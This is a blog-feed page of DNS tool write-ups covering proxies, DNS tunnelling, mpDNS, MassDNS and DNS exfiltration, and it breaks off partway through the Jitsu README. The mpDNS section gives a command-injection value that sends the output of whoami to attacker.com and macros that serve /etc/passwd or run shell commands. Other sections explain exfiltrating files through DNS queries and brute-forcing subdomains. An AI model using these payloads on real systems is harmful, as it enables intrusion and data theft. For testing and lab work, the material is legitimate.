Quantcast
Channel: 看得透又看得远者prevail.ppt.cc/flUmLx ppt.cc/fqtgqx ppt.cc/fZsXUx ppt.cc/fhWnZx ppt.cc/fnrkVx ppt.cc/f2CBVx
Viewing all 20475 articles
Browse latest View live

又一个dns proxy程序:dnsproxy-by-vietor

$
0
0
在mac上。

git clone git://github.com/vietor/dnsproxy dnsproxy-by-vietor
cd dnsproxy-by-vietor
make
然后在dnsproxy-by-vietor/src/里面就会生成可执行文件dnsproxy。
cd src
./dnsproxy -p 5454 --remote-addr=8.8.8.8 --remote-port=53 --remote-tcp
会显示:
 * running at 5454

 * transport to 8.8.8.8:53,tcp

使用例子:
sudo wg-quick up wg0 

networksetup -setdnsservers "Wi-Fi""Empty"&& networksetup -setdnsservers "Wi-Fi" 127.0.0.1

cd ~/dnsproxy-by-vietor/src && ./dnsproxy -p 5454 --remote-addr=8.8.8.8 --remote-port=53 --remote-tcp

看看能用多久。





Dns2tcp

$
0
0


Dns2tcp is a tool for relaying TCP connections over DNS. There is only a simple identification mecanism but no encryption : DNS encapsulation must be considered as an unsecure and anonymous transport layer. Resources should be public external services like ssh, ssltunnel ...

Examples

Client:

View list of available connection.
 $ dns2tcpc -z dns2tcp.hsc.fr -k <my-key><dns_server>
Available connection(s) :
ssh-gw
ssh6-home
ssl-tunnel
$
Line based connection to a remote ssl-tunnel host :
 $ dns2tcpc -r ssl-tunnel -l 4430 -k <my-key> -z dns2tcp._hsc.fr <dns_server>
listening on port 4430
...
File configuration :
 $ cat >~/.dns2tcprc <<EOF

domain = dns2tcp.hsc.fr
resource = ssl-tunnel
local_port = 4430
debug_level = 1
key = whateveryouwant
server = the_dns_server # or scan /etc/resolv.conf
EOF
$ dns2tcpc

Server :

File configuration :
 $ cat >~/.dns2tcpdrc <<EOF

listen = x.x.x.x
port = 53
user = nobody
key = whateveryouwant
chroot = /var/empty/dns2tcp/
domain = dns2tcp.hsc.fr
resources = ssh:127.0.0.1:22 , smtp:127.0.0.1:25,
pop3:10.0.0.1:110, ssh2:[fe80::1664]:22

EOF
$ ./dns2tcpd -F -d 1
from https://github.com/alex-sector/dns2tcp

DNSProxy-by-AdguardTeam

$
0
0
Simple DNS proxy with DoH, DoT, and DNSCrypt support.
A simple DNS proxy server that supports all existing DNS protocols including DNS-over-TLSDNS-over-HTTPS, and DNSCrypt.
Moreover, it can work as a DNS-over-HTTPS and/or DNS-over-TLS server.

How to build

You will need go v1.11 or later.
$ go build

Usage

Usage:
dnsproxy [OPTIONS]

Application Options:
-v, --verbose Verbose output (optional)
-o, --output= Path to the log file. If not set, write to stdout.
-l, --listen= Listen address (default: 0.0.0.0)
-p, --port= Listen port. Zero value disables TCP and UDP listeners (default: 53)
-h, --https-port= Listen port for DNS-over-HTTPS (default: 0)
-t, --tls-port= Listen port for DNS-over-TLS (default: 0)
-c, --tls-crt= Path to a file with the certificate chain
-k, --tls-key= Path to a file with the private key
-b, --bootstrap= Bootstrap DNS for DoH and DoT, can be specified multiple times (default: 8.8.8.8:53)
-r, --ratelimit= Ratelimit (requests per second) (default: 0)
-z, --cache If specified, DNS cache is enabled
-e --cache-size= Maximum number of elements in the cache. Default size: 1000
-a, --refuse-any If specified, refuse ANY requests
-u, --upstream= An upstream to be used (can be specified multiple times)
-f, --fallback= Fallback resolvers to use when regular ones are unavailable, can be specified multiple times
-s, --all-servers Use parallel queries to speed up resolving by querying all upstream servers simultaneously

Help Options:
-h, --help Show this help message
--version Print DNS proxy version

Examples

Simple options

Runs a DNS proxy on 0.0.0.0:53 with a single upstream - Google DNS.
./dnsproxy -u 8.8.8.8:53
The same proxy with verbose logging enabled writing it to the file log.txt.
./dnsproxy -u 8.8.8.8:53 -v -o log.txt
Runs a DNS proxy on 127.0.0.1:5353 with multiple upstreams.
./dnsproxy -l 127.0.0.1 -p 5353 -u 8.8.8.8:53 -u 1.1.1.1:53

Encrypted upstreams

DNS-over-TLS upstream:
./dnsproxy -u tls://dns.adguard.com
DNS-over-HTTPS upstream with specified bootstrap DNS:
./dnsproxy -u https://dns.adguard.com/dns-query -b 1.1.1.1:53
DNSCrypt upstream (DNS Stamp of AdGuard DNS):
./dnsproxy -u sdns://AQIAAAAAAAAAFDE3Ni4xMDMuMTMwLjEzMDo1NDQzINErR_JS3PLCu_iZEIbq95zkSV2LFsigxDIuUso_OQhzIjIuZG5zY3J5cHQuZGVmYXVsdC5uczEuYWRndWFyZC5jb20
DNS-over-HTTPS upstream (DNS Stamp of Cloudflare DNS):
./dnsproxy -u sdns://AgcAAAAAAAAABzEuMC4wLjGgENk8mGSlIfMGXMOlIlCcKvq7AVgcrZxtjon911-ep0cg63Ul-I8NlFj4GplQGb_TTLiczclX57DvMV8Q-JdjgRgSZG5zLmNsb3VkZmxhcmUuY29tCi9kbnMtcXVlcnk
DNS-over-TLS upstream with two fallback servers (to be used when the main upstream is not available):
./dnsproxy -u tls://dns.adguard.com -f 8.8.8.8:53 -f 1.1.1.1:53

Encrypted DNS server

Runs a DNS-over-TLS proxy on 127.0.0.1:853.
./dnsproxy -l 127.0.0.1 --tls-port=853 --tls-crt=example.crt --tls-key=example.key -u 8.8.8.8:53 -p 0 
Runs a DNS-over-HTTPS proxy on 127.0.0.1:443.
./dnsproxy -l 127.0.0.1 --https-port=443 --tls-crt=example.crt --tls-key=example.key -u 8.8.8.8:53 -p 0 

Additional features

Runs a DNS proxy on 0.0.0.0:53 with rate limit set to 10 rps, enabled DNS cache, and that refuses type=ANY requests.
./dnsproxy -u 8.8.8.8:53 -r 10 --cache --refuse-any
Runs a DNS proxy on 127.0.0.1:5353 with multiple upstreams and enable parallel queries to all configured upstream servers
./dnsproxy -l 127.0.0.1 -p 5353 -u 8.8.8.8:53 -u 1.1.1.1:53 -u tls://dns.adguard.com --all-servers

Specifying upstreams for domains

You can specify upstreams that will be used for a specific domain(s). We use the dnsmasq-like syntax (see --serverdescription here).
Syntax: [/[domain1][/../domainN]/]upstreamString
If one or more domains are specified, that upstream (upstreamString) is used only for those domains. Usually, it is used for private nameservers. For instance, if you have a nameserver on your network which deals with xxx.internal.localat 192.168.0.1 then you can specify [/internal.local/]192.168.0.1, and dnsproxy will send all queries to that nameserver. Everything else will be sent to the default upstreams (which are mandatory!).
  1. An empty domain specification, // has the special meaning of "unqualified names only" ie names without any dots in them.
  2. More specific domains take precedence over less specific domains, so: --upstream=[/host.com/]1.2.3.4 --upstream=[/www.host.com/]2.3.4.5 will send queries for *.host.com to 1.2.3.4, except *.www.host.com, which will go to 2.3.4.5
  3. The special server address '#' means, "use the standard servers", so: --upstream=[/host.com/]1.2.3.4 --upstream=[/www.host.com/]# will send queries for *.host.com to 1.2.3.4, except *.www.host.com which will be forwarded as usual.

Examples

Sends queries for *.local domains to 192.168.0.1:53. Other queries are sent to 8.8.8.8:53.
./dnsproxy -u 8.8.8.8:53 -u [/local/]192.168.0.1:53
Sends queries for *.host.com to 1.1.1.1:53 except for *.maps.host.com which are sent to 8.8.8.8:53 (as long as other queries).
./dnsproxy -u 8.8.8.8:53 -u [/host.com/]1.1.1.1:53 -u [/maps.host.com/]#`
from https://github.com/AdguardTeam/dnsproxy

luadns.com提供的域名解析服务

$
0
0
Example DNS repository 
Example git repository with DNS settings, read more here: http://www.luadns.com/help.html
To add a domain to LuaDNS service, add a DOMAIN-NAME.lua or DOMAIN-NAME.bind configuration file to git repository and push updates with git.
To remove a domain from LuaDNS service, remove it's configuration file from git repository and push updates with git.
  • templates.lua - This file is executed before each .lua zone file (depreciated)
  • templates - All .lua files from this directory are executed automatically before each .lua zone file
  • example.com.lua - Example zone using Lua zone format
  • example.com.clones - Domain aliases examaple (one domain per line)
  • example.org.bind - Example zone using Bind zone format
  • 1.168.192.in-addr.arpa.lua - Reverse zone using Lua zone format


dns解析服务器程序-mpDNS

$
0
0

multi-purpose DNS Server

Simple, configurable "clone & run" DNS Server with multiple useful features
  • Should work on Python 2 and 3
  • names.db -> holds all custom records (see examples)
  • Simple wildcards like *.example.com
  • Catch unicode dns requests
  • Custom actions aka macro:
    • {{shellexec::dig google.com +short}} -> Execute shell command and respond with result
    • {{eval::res = '1.1.1.%d' % random.randint(0,256)}} -> Evaluate your python code
    • {{file::/etc/passwd}} -> Respond with localfile contents
    • {{resolve}} -> Forward DNS request to local system DNS
    • {{resolve::example.com}} -> Resolve example.com instead of original record
    • {{echo}} -> Response back with peer address
    • {{shellexec::echo %PEER% %QUERY%}} -> Use of variables
  • Supported query types: ACNAMETXT
  • Update names.db records without restart/reload with ./mpdns.py -e
Usage: ./mpdns.py
  • Edit names.db with ./mpdns.py -e no restart required

Offensive and Defensive purposes:

  1. You need a light-weight simple dns-server solution for testing purposes (NOT PRODUCTION!)
  2. Test for various blind injection vulnerabilities in web applications (ex. /ping.php?ip=$(dig $(whoami).attacker.com))
  3. Easily infiltrate 65K of data in one TXT query
  4. DNS Rebinding
  5. Execute custom macro action on specific query (useful in malware-analysis lab environments)
  6. And lots more. It is highly customizable.

Installing

git clone https://github.com/nopernik/mpDNS

Limitations

  1. Due to UDP Datagram limit of 65535 bytes, DNS response is limited to approx ~65200 bytes
    this limitation applies to TXT records which are splitted into chunks of 256 bytes until response reaches maximum allowed 65200b
    therefore TXT record with macro {{file:localfile.txt}} is limited to 65200 bytes.
  2. No support for nested wildcards test.*.example.com
  3. No support for custom DNS server resolver in {{resolve::example.com}} macro
  4. TTL always set to 0

Examples

names.db example:
# Empty configuration will result in empty but valid responses
#
# Unicode domain names are not supported but still can be catched by the server.
# for example мама-сервер-unicode.google.com will be catched but with SERVFAIL response

passwd.example.com TXT {{file::/etc/passwd}} #comments are ignored
shellexec TXT {{shellexec::whoami}}
eval TXT {{eval::import random; res = random.randint(1,500)}}
resolve1 A {{resolve}}
resolve2 A {{resolve::self}} #same as previous
resolve3 A {{resolve::example.com}}
blabla.com A 5.5.5.5

* A 127.0.0.1
*.example.com A 7.7.7.7
c1.example.com CNAME c2.example.com
c2.example.com CNAME c3.example.com
c3.example.com CNAME google.example.com
google.example.com CNAME google.com
test.example.com A 8.8.8.8
google.com A {{resolve::self}}
notgoogle.com A {{resolve::google.com}}

Example output with names.db example:

Regular resolution from DBdig test.example.com @localhost
;; ANSWER SECTION:
test.example.com. 0 IN A 8.8.8.8
mpDNS output: - Request from 127.0.0.1:57698 -> test.example.com. -> 8.8.8.8 (A)

Recursive CNAME resolutiondig c1.example.com @localhost
;; QUESTION SECTION:
;c1.example.com. IN A

;; ANSWER SECTION:
c1.example.com. 0 IN CNAME c2.example.com.
c2.example.com. 0 IN CNAME c3.example.com.
c3.example.com. 0 IN CNAME google.example.com.
google.example.com. 0 IN CNAME google.com.
google.com. 0 IN A 216.58.206.14
mpDNS output:
- Request from 127.0.0.1:44120      -> c1.example.com.  -> c2.example.com (CNAME)
- Request from 127.0.0.1:44120 -> c2.example.com -> c3.example.com (CNAME)
- Request from 127.0.0.1:44120 -> c3.example.com -> google.example.com (CNAME)
- Request from 127.0.0.1:44120 -> google.example.com -> google.com (CNAME)
- Request from 127.0.0.1:44120 -> google.com -> {{resolve::self}} (A)

Wildcard resolutiondig not-in-db.com @localhost
;; ANSWER SECTION:
not-in-db.com. 0 IN A 127.0.0.1
mpDNS output: - Request from 127.0.0.1:38528 -> not-in-db.com. -> 127.0.0.1 (A)

Wildcard subdomain resolutiondig wildcard.example.com @localhost
;; ANSWER SECTION:
wildcard.example.com. 0 IN A 7.7.7.7
mpDNS output: - Request from 127.0.0.1:39691 -> wildcard.example.com. -> 7.7.7.7 (A)

Forward request macrodig google.com @localhost
;; ANSWER SECTION:
google.com. 0 IN A 172.217.22.110
mpDNS output: - Request from 127.0.0.1:53487 -> google.com. -> {{resolve::self}} (A)

Forward request of custom domain macrodig notgoogle.com @localhost
;; ANSWER SECTION:
notgoogle.com. 0 IN A 172.217.22.110
mpDNS output: - Request from 127.0.0.1:47797 -> notgoogle.com. -> {{resolve::google.com}} (A)

File contents macro via TXT querydig txt passwd.example.com @localhost
;; ANSWER SECTION:
passwd.example.com. 0 IN TXT "root:x:0:0:root:/root:/bin/bash\010daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\010bin:x:2:2:bin:......stripped"
mpDNS output: - Request from 127.0.0.1:38805 -> passwd.example.com. -> ['root:x:0:0:root...(2808)'] (TXT)

Custom python code macro via TXT querydig txt eval @localhost
;; ANSWER SECTION:
eval. 0 IN TXT "320"
mpDNS output: - Request from 127.0.0.1:33821 -> eval. -> ['320'] (TXT)

Shell command macro via TXT querydig txt shellexec @localhost
;; ANSWER SECTION:
shellexec. 0 IN TXT "root"
mpDNS output: - Request from 127.0.0.1:50262 -> shellexec. -> ['root'] (TXT)

dns解析服务器程序-MassDNS

$
0
0
A high-performance DNS stub resolver for bulk lookups .

MassDNS 0.3 (experimental)

A high-performance DNS stub resolver

MassDNS is a simple high-performance DNS stub resolver targetting those who seek to resolve a massive amount of domain names in the order of millions or even billions. Without special configuration, MassDNS is capable of resolving over 350,000 names per second using publicly available resolvers.

Major changes

This version of MassDNS is currently experimental. In order to speed up the resolving process, the ldns dependency has been replaced by a custom stack-based DNS implementation (which currently only supports the text representation of the most common DNS records). Furthermore, epoll has been introduced in order to lighten CPU usage when operating with a low concurrency which may have broken compatibility with some platforms. In case of bugs, please create an issue and switch to the more mature version 0.2.
Also note that the command line interface has changed slightly due to criticism of the output complexity. Additionally, the default values of the -s and -i parameters have been changed. The repository structure has been changed as well.

Contributors

Compilation

Clone the git repository and cd into the project root folder. Then run make to build from source. If you are not on Linux, run make nolinux. On Windows, the Cygwin packages gcc-coregit and make are required.

Usage

Usage: ./bin/massdns [options] [domainlist]
-b --bindto Bind to IP address and port. (Default: 0.0.0.0:0)
--busy-poll Use busy-wait polling instead of epoll.
-c --resolve-count Number of resolves for a name before giving up. (Default: 50)
--drop-group Group to drop privileges to when running as root. (Default: nogroup)
--drop-user User to drop privileges to when running as root. (Default: nobody)
--flush Flush the output file whenever a response was received.
-h --help Show this help.
-i --interval Interval in milliseconds to wait between multiple resolves of the same
domain. (Default: 500)
-l --error-log Error log file path. (Default: /dev/stderr)
--norecurse Use non-recursive queries. Useful for DNS cache snooping.
-o --output Flags for output formatting.
--predictable Use resolvers incrementally. Useful for resolver tests.
--processes Number of processes to be used for resolving. (Default: 1)
-q --quiet Quiet mode.
--rcvbuf Size of the receive buffer in bytes.
--retry Unacceptable DNS response codes. (Default: REFUSED)
-r --resolvers Text file containing DNS resolvers.
--root Do not drop privileges when running as root. Not recommended.
-s --hashmap-size Number of concurrent lookups. (Default: 10000)
--sndbuf Size of the send buffer in bytes.
--sticky Do not switch the resolver when retrying.
--socket-count Socket count per process. (Default: 1)
-t --type Record type to be resolved. (Default: A)
--verify-ip Verify IP addresses of incoming replies.
-w --outfile Write to the specified output file instead of standard output.

Output flags:
S - simple text output
F - full text output
B - binary output
J - ndjson output
This overview may be incomplete. For more options, especially concerning output formatting, use --help.

Example

Resolve all AAAA records from domains within domains.txt using the resolvers within resolvers.txt in lists and store the results within results.txt:
$ ./bin/massdns -r lists/resolvers.txt -t AAAA domains.txt > results.txt
This is equivalent to:
$ ./bin/massdns -r lists/resolvers.txt -t AAAA -w results.txt domains.txt

Example output

By default, MassDNS will output response packets in text format which looks similar to the following:
;; Server: 77.41.229.2:53
;; Size: 93
;; Unix time: 1513458347
;; ->>HEADER<<- 0="" 1="" 24852="" 2="" 45929="" 51298="" 93.184.216.34="" a.iana-servers.net.="" a="" additional:="" answer:="" answer="" authority:="" authority="" b.iana-servers.net.="" code="" example.com.="" flags:="" id:="" in="" noerror="" ns="" opcode:="" qr="" query:="" query="" question="" ra="" rd="" section:="" status:="">->
The resolver IP address is included in order to make it easier for you to filter the output in case you detect that some resolvers produce bad results.

Resolving

The repository includes the file resolvers.txt consisting of a filtered subset of the resolvers provided by the subbrute project. Please note that the usage of MassDNS may cause a significant load on the used resolvers and result in abuse complaints being sent to your ISP. Also note that the provided resolvers are not guaranteed to be trustworthy. The resolver list is currently outdated with a large share of resolvers being dysfunctional.
MassDNS's DNS implementation is currently very sporadic and only supports the most common records. You are welcome to help changing this by collaborating.

PTR records

MassDNS includes a Python script allowing you to resolve all IPv4 PTR records by printing their respective queries to the standard output.
$ ./scripts/ptr.py | ./bin/massdns -r lists/resolvers.txt -t PTR -w ptr.txt
Please note that the labels within in-addr.arpa are reversed. In order to resolve the domain name of 1.2.3.4, MassDNS expects 4.3.2.1.in-addr.arpa as input query name. As a consequence, the Python script does not resolve the records in an ascending order which is an advantage because sudden heavy spikes at the name servers of IPv4 subnets are avoided.

Reconnaissance by brute-forcing subdomains

Perform reconnaissance scans responsibly and adjust the -s parameter to not overwhelm authoritative name servers.
Similar to subbrute, MassDNS allows you to brute force subdomains using the included subbrute.py script:
$ ./scripts/subbrute.py lists/names.txt example.com | ./bin/massdns -r lists/resolvers.txt -t A -o S -w results.txt
As an additional method of reconnaissance, the ct.py script extracts subdomains from certificate transparency logs by scraping the data from crt.sh:
$ ./scripts/ct.py example.com | ./bin/massdns -r lists/resolvers.txt -t A -o S -w results.txt
The files names.txt and names_small.txt, which have been copied from the subbrute project, contain names of commonly used subdomains. Also consider using Jason Haddix' subdomain compilation with over 1,000,000 names.

Screenshots

Screenshot

Security

MassDNS does not require root privileges and will therefore drop privileges to the user called "nobody" by default when being run as root. If the user "nobody" does not exist, MassDNS will refuse execution. In this case, it is recommended to run MassDNS as another non-privileged user. The privilege drop can be circumvented using the --root argument which is not recommended. Also note that other branches than master should not be used in production at all.

Practical considerations

Performance tuning

MassDNS is a simple single-threaded application designed for scenarios in which the network is the bottleneck. It is designed to be run on servers with high upload and download bandwidths. Internally, MassDNS makes use of a hash map which controls the concurrency of lookups. Setting the size parameter -s hence allows you to control the lookup rate. If you are experiencing performance issues, try adjusting the -s parameter in order to obtain a better success rate.

Rate limiting evasion

In case rate limiting by IPv6 resolvers is a problem, have a look at the freebind project including packetrand, which will cause each packet to be sent from a different IPv6 address from a routed prefix.

Result authenticity

If the authenticity of results is highly essential, you should not rely on the included resolver list. Instead, set up a local unbound resolver and supply MassDNS with its IP address. In case you are using MassDNS as a reconnaissance tool, you may wish to run it with the default resolver list first and re-run it on the found names with a list of trusted resolvers in order to eliminate false positives.

dns-exfiltration

$
0
0

Exfiltrate files via DNS. Based on research by 16 Systems.

What the DNS Queries Look Like in Your Server's DNS Query Log

# The base64 encoded data is the payload
# Each query contains 8 bytes from the file

26-Aug-13 18:12:39 queries: info: client 8.x.x.x#18743:
query: AAAAAAAAAAAxMjM0NTY3OA==.file1.16s.us IN A -ED (2.x.x.x)
26-Aug-13 18:12:49 queries: info: client 8.x.x.x#59519:
query: AQAAAAAAAAA5MAoAAAAAAA==.file1.16s.us IN A -ED (2.x.x.x)

What the Raw Reassembled File Looks Like

# First element is the sequence number. Second is bytes from file.
# You need the sequence number to reassemble the file in the right order.

(0, '12345678')
(1, '90\n\x00\x00\x00\x00\x00')

That's It

This can be automated and made to be very efficient, but I won't get into that. It also works on very large files (2^32 * 8) and with any type of file (text, binary, etc). So, now you know how to exfiltrate files from a firewalled network using simple DNS queries. When/if the network security team figures this out and blocks it, I'll demonstrate a few other ways in which data can be exfiltrated.
Again, this information is meant for research/educational purposes only.

Related Work


用DnsByTcp避免dns污染

$
0
0
this project is to avoid the DNS poisoning.

About

This project use python script, but I just have a little skill with python, so the main script is based on henices/Tcp-DNS-proxy.
If you are not a pythoner, maybe you can try my another project isayme/fuck_dns which is also associated with DNS poisoning.

How To Use

Linux User

  1. change your dns server to 127.0.0.1
    $ vi /etc/resolve.conf
    nameserver 127.0.0.1
  2. restart the network $ sudo /etc/init.d/networking restart
  3. run the script : $ sudo python DnsByTcp.py

Windows User

  1. change your dns server to 127.0.0.1, you can use my bat script(cdns.bat) and follow its prompt message to change your dns server fastly.
  2. run the script $ sudo python DnsByTcp.py

-----

又是以tcp协议发出dns请求的方法,可用,看看能用多久。
你可以克隆DnsByTcp后,修改里面的DnsByTcp.py文件里的倒数第二行里的53为其他端口,比如54,以避免使用53这个默认的端口。

使用例子:
sudo wg-quick up wg0 


networksetup -setdnsservers "Wi-Fi""Empty"&& networksetup -setdnsservers "Wi-Fi" 127.0.0.1

cd ~/dnsbytcp && sudo python DnsByTcp.py


利用DNSFilter,解决dns污染问题

$
0
0

About

脚本用于防止DNS污染。
当前用于防止DNS污染的方法主要有三种:
  1. UDP转TCP;
  2. DNS加密传输;
  3. 过滤掉来自GFW的污染数据包;

UDP转TCP

因为GFW返回的污染包是UDP格式,而且TCP通信比UDP更加可靠,所以这种方法比较有效。
缺点是TCP协议连接建立需要多次握手,会导致通信耗时较大。
如果对此种方法感兴趣,可以参看我另外一个rep:DnsByTcp.(此方法我测试可用)

DNS加密传输

加密整个UDP请求包,这样GFW无法正常解析出你的请求就不会做出污染。
缺点是有加密就需要有解密,你需要在墙外再建立一个解密服务器,并将返回包加密后发送回来。这期间的耗时未必会比上一种方式少。而且对于一些使用了CDN的网站,这种方式会影响到你访问对应网站的速度。
如果对此种方法感兴趣,可以参看我另外一个rep:xdns.(和https://github.com/isayme/xdns.py,此二法,我测试过,不行)

过滤掉来自GFW的污染数据包

因为GFW的DNS污染包中使用的虚假IP地址只有几十个,我们过滤掉那些包即可~
当然,这么高大上的方法就是本程序使用的.(此法,我测试了,可行)


使用方法:
git clone https://github.com/isayme/DNSFilter DNSFilter-by-isayme
cd DNSFilter-by-isayme
sudo python DNSFilter.py


使用例子:
sudo wg-quick up wg0 

networksetup -setdnsservers "Wi-Fi""Empty"&& networksetup -setdnsservers "Wi-Fi" 127.0.0.1

cd ~/DNSFilter-by-isayme && sudo python DNSFilter.py

dns_parse

$
0
0
A fast parser for DNS pcap data.

-- OVERVIEW --
dns_parse takes as input a pcap of DNS data and produces a complete, trivially
parsable, human readable ASCII version of the same data. It's generally useful
for network monitoring (send the data to Splunk or similar). The most common
carrying protocols are supported, as well as packet deduplication.

-- SUPPORTED PROTOCOLS --
Ethernet
MPLS
IPv4 (including fragment reassembly)
IPv6 (including fragment reassembly)
UDP
TCP (with flow state saving and loading between pcaps)
DNS (on any port)

-- AUTHOR INFO --
Paul Ferrell
pferrell@lanl.gov

-- CONTENTS --
Code to build bin/dns_parse.
init/dnscapture - An init script for running tcpdump on an interface as a
service to generate regular pcap files.
bin/dns_parse_cron - A python cron job script for periodically running dns_parse
on regularly output pcap files (generally from using the -C or -G options in
tcpdump).
pkgs/dns_parse.spec - An RPM spec file, for those dinosaurs that still use these
things (like me).
etc/* - example config files for init/dnscapture and bin/dns_parse_cron

-- DEPENDENCIES --
libpcap

-- OS Dependencies --
This has been tested primarily on x86_64 linux, but there shouldn't be any typing issues on 32 bit machines.

-- BUILDING AND INSTALLING --
make
make install

-- Running --
"./bin/dns_parse -h" should tell you everything you need to know.

A reasonable set of options is:
./bin/dns_parse -m "" -t -r
This gets you newline separated resource records an empty main record separator,
pretty printed dates, and the shorthand for the record types (ie. A or CNAME).
Printing of additional and name server records is disabled (by default).

from https://github.com/pflarr/dns_parse

'以tcp协议,发出dns解析请求'果然不靠谱

VPN-over-DNS

$
0
0
tunneling software over DNS: Java server, GUI and command-line clients for Android, Windows, Mac OS X & Unix/Linux
Open-source tunneling software over DNS:
  • Java server,
  • GUI and command-line clients for:
    • Android,
    • Windows,
    • Mac OS X,
    • Unix/Linux
More than 20000 lines of Java, Adobe Flex action scripts and Perl scripts.
Avi Prasad (aprasad6@illinois.edu) and Eunsoo Roh (roh7@illinois.edu) made an open source software to reassembly VPN-over-DNS protocol packets: https://github.com/toukoaozaki/vpnoverdns-reassembler

Jitsu is a forwarding DNS server

$
0
0
A DNS server。
Jitsu is a forwarding DNS server that automatically boots unikernels on demand. When a DNS query is received, Jitsu first checks for a local unikernel that is mapped to the requested domain. If a unikernel is found, the unikernel is started and its IP is returned to the client. Otherwise, the request is forwarded to the next DNS server. If no DNS requests are received for the unikernel within a given timeout period it is automatically stopped.
This version of Jitsu has been tested with MirageOS and Rumprun unikernels.
Jitsu supports several backends to manage the unikernel VMs. Currently libvirtXAPI and libxenlight are supported. Metadata and internal state is stored in Irmin and the DNS server is implemented on top of ocaml-dns.
Build Status

Further reading

Overview

Installing Jitsu

The latest release of Jitsu is available in opam. To install Jitsu, run:
$ opam install jitsu
When Jitsu is installed it will look for available backends that can be used to start unikernels (or processes). The backends currently supported are xenctrl (libxl), libvirt and xen-api-client (xapi). If a new backend is installed opam will reinstall Jitsu to add support for it.
The virtual packages jitsu-libvirtjitsu-xapi and jitsu-libxl can be used to force Jitsu to be installed with a specific backend.
To add a backend, either use the virtual package:
$ opam install jitsu-libxl
Or install the backend directly with opam:
$ opam install jitsu
$ opam depext xenctrl # install external dependencies, optional
$ opam install xenctrl
To install the latest development version of Jitsu, you can pin Jitsu to the current master branch on Github. This version is unstable and changes frequently.
$ opam pin add jitsu --dev
$ opam install jitsu
If the installation succeeds you should now be able to start Jitsu. If you ran into problems and are using OS X, see below for additional troubleshooting tips.

OS X troubleshooting

To install the OCaml libvirt bindings on OS X we have to set CPPFLAGS first (due to this bug). This step can be skipped on other platforms.
$ CPPFLAGS="-Wno-error=tautological-compare -Wno-error=unused-function" \
opam install libvirt
You should now be able to install Jitsu as usual.

Getting started

Jitsu is initially launched with a list of unikernels, their configurations and a set of parameters that define
  • how to connect to the virtualization backend
  • how the DNS server should be configured
  • how the unikernels should be managed
A minimal Jitsu configuration could look like this:
$ sudo ./jitsu -c xen:/// \
dns=www.openmirage.org,\
ip=192.168.0.22,\
name=mirage-www
The command above connects to a local Xen-server (from dom0) through libvirt (the default) and starts the DNS server. Requests for www.openmirage.org will be redirected to the Xen-VM called "mirage-www" with IP 192.168.0.22. If "mirage-www" is not running, Jitsu will start it automatically before responding to the DNS request.
Each unikernel is configured using a set of key/value pairs separated by commas. The parameters that are supported depends on which virtualization backend (libvirt, xapi or libxl) is used to control the unikernels. See below or run ./jitsu --help for a complete set of options.

Examples

MirageOS web server

For this example you need a working MirageOS unikernel with a static IP address and access to dom0 on a Xen server with libxl installed. You can also install Xen in Virtualbox, as described here or use one of the Mirage Vagrant VMs. An example unikernel that displays the unikernel boot time can be found here (a live version is running here). Follow the instructions in the README to configure the network settings. After building the unikernel you should have a binary file that can be booted in Xen, usually mirage-www.xen. You can also check the generated .xl file and locate the kernel=parameter to find the file.
We should now be able to start Jitsu to manage the unikernel:
$ sudo jitsu -x libxl \
dns=www.example.org,\
ip=10.0.0.1,\
kernel=mirage-www.xen,\
memory=64000,\
name=www,\
nic=br0
This command boots the unikernel when www.example.org is resolved. The IP 10.0.0.1 is returned to clients that resolve the domain and the booted unikernel is in mirage-www.xen. The VM is given 64MB of memory and access to a network bridge at br0.
If everything worked, Jitsu should now be running a DNS server on localhost. To verify that the domain is automatically started you can run host to resolve the domain:
host www.example.org 127.0.0.1
Using domain server:
Name: 127.0.0.1
Address: 127.0.0.1#53
Aliases:

www.example.org has address 10.0.0.1
After running host you should be able to open the web page on 10.0.0.1 (or telnet to port 80) and ping the IP.
The unikernel is automatically destroyed after the DNS cache entry expires. This timeout can be set with the --ttlparameter. See jitsu --help for a full list of available parameters and options that can be passed to the libxlbackend.

nginx in rumprun

Rumprun unikernels can also be managed by Jitsu, but currently only with the libxl backend. Prior to running Jitsu, the rumprun tool must be used to generate a JSON configuration file that is passed to Jitsu using the rumprun_configparameter.
A tutorial for building a unikernel that hosts a static web page in QEMU is available here. To get a Xen unikernel, follow the instructions, but run rumpbake with the xen_pv parameter instead of hw_virtio. After baking the Xen unikernel it must be started once with rumprun to obtain the configuration files. To run the Nginx unikernel from the tutorial in Xen you could (depending on your configuration) use a command similar to this:
sudo rumprun -T tmp xen -M 64 -i \
-b images/stubetc.iso,/etc -b images/data.iso,/data \
-I mynet,xenif,bridge=br0 -W mynet,inet,static,10.0.0.1/24,10.0.1.1 \
-- nginx.bin -c /data/conf/nginx.conf
The command above will boot a rumprun unikernel that mounts two disks (stubetc.iso and data.iso), connect it to the network bridge br0 and give it the IP 10.0.0.1. The -T parameter saves the generated configuration files in the tmpdirectory. You can verify that the unikernel booted correctly by running sudo xl list. You can also attach to the console with sudo xl console [name of unikernel]. To stop the unikernel, use sudo xl destroy [name of unikernel].
If the unikernel booted correctly we should now be able to use the file tmp/json.conf to boot it with Jitsu.
jitsu -x libxl dns=www.example.org,\
memory=64000,\
ip=10.0.0.1,\
name=rumprun,\
kernel=nginx.bin,\
disk=images/stubetc.iso@xvda,\
disk=images/data.iso@xvdb,\
nic=br0,\
rumprun_config=tmp/json.cfg
Verify that the unikernel boots in Jitsu by running host www.example.org 127.0.0.1. An nginx web server should now be running in a rumprun unikernel on IP 10.0.0.1.
Note that rumprun unikernels currently have to wait for the disk images to be configured by Xen. When the disks are mounted as ISO files (as in this example) the total boot time can be more than a second. An alternative is to use losetupto create loopback devices that map to the ISO files. The -d parameter can also be used to delay the DNS response to compensate for this. See jitsu --help for a full list of available options.

Linux VMs in Virtualbox

Jitsu can be used to control VMs in Virtualbox with libvirt. Note that how well this will work depends on how quickly the VM is able to respond to requests after resuming from suspend (see also the -d parameter for how to delay the DNS response).
First, install libvirt and use virsh to display a list of available VMs. Example output:
$ virsh list --all
Welcome to virsh, the virtualization interactive terminal.

Type: 'help' for help with commands
'quit' to quit

virsh # list --all
Id Name State
----------------------------------------------------
2 Ubuntu running
If virsh is unable to connect to Virtualbox, you may have to adjust the connection URI (-c [uri]). The default connection URI for Virtualbox is vbox:///session - see this page for more details. In OS X you may have to set the socket manually, which can be done with 'vbox:///session?socket=path-to-socket'. Remember to use the same connection URI for Jitsu below.
You should now be able to start Jitsu. Use '-m suspend' to set it to suspend the VM on inactivity. Example output:
